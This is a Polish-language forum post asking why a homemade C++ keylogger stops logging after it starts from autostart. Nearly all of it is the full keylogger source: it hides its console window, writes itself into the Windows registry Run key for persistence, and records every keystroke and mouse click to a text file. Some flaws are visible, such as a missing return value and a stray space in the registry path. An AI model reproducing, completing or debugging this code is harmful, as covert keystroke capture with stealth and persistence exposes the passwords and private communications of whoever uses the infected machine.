Witam wszystkich. Mam mały problem z prostym keyloggerem. Kiedy go uruchamiam, to działa poprawnie, zapisuje wciśniete klawisze do pliku txt. Ale kiedy ponownie uruchamiam komputer, program, jako że dodany został do autostartu odpala, ale nie zapisuje już danych do pliku txt. Kiedy uruchomię go ponownie poprzez kliknięcie w niego, to znów działa jak należy. Nie mam pomysłu na rozwiązanie, więc proszę o pomoc. Z góry dziękuję.
#include <iostream>
#include <windows.h>
#include <fstream>
#include <string>
#include <stdio.h>
using namespace std;
void WriteToLog(string text)
{
fstream logfile;
logfile.open("keylogs.txt", ios::app);
logfile << text;
logfile.close();
}
bool KeyIsListed(int iKey)
{
switch (iKey)
{
case VK_SPACE:
cout << " ";
WriteToLog(" ");
break;
case VK_RETURN:
cout << "\n";
WriteToLog("\n");
break;
case VK_SHIFT:
cout << " *Shift* ";
WriteToLog(" *Shift* ");
break;
case VK_BACK:
cout << "\b";
WriteToLog("\b");
break;
case VK_RBUTTON:
cout << " *rclick* ";
WriteToLog(" *rclick* ");
break;
case VK_LBUTTON:
cout << " *lclick* ";
WriteToLog(" *lclick* ");
break;
default:
return false;
}
}
void stealth() // hides the window
{
HWND stealth;
AllocConsole();
stealth = FindWindowA("consoleWindowClass", NULL);
ShowWindow(stealth, 0);
}
bool regchange()
{
HKEY hkey;
LONG result;
DWORD dnew;
char buf[] = "C:\\Users\\Admin_1\\Kurs C++\\virkeylog\\bin\\Debug\\virkeylog.exe";
result = RegCreateKeyEx(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\ Run", 0, 0, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, 0, &hkey, &dnew);
if (result == ERROR_SUCCESS)
{
if (RegSetValueEx(hkey, "virkeylog", 0, REG_SZ, (BYTE*)buf, strlen(buf)) == ERROR_SUCCESS)
{
cout << "<registry OK>" << endl;
}
RegCloseKey(hkey);
}
else
{
return false;
}
return true;
}
int main()
{
stealth();
regchange();
char key;
while (true)
{
Sleep(10);
for (key = 8; key <= 190; key++)
{
if (GetAsyncKeyState(key) == -32767)
{
if (KeyIsListed(key) == false)
{
cout << key;
fstream logfile;
logfile.open("keylogs.txt", ios::app);
logfile << key;
logfile.close();
}
}
}
}
return 0;
}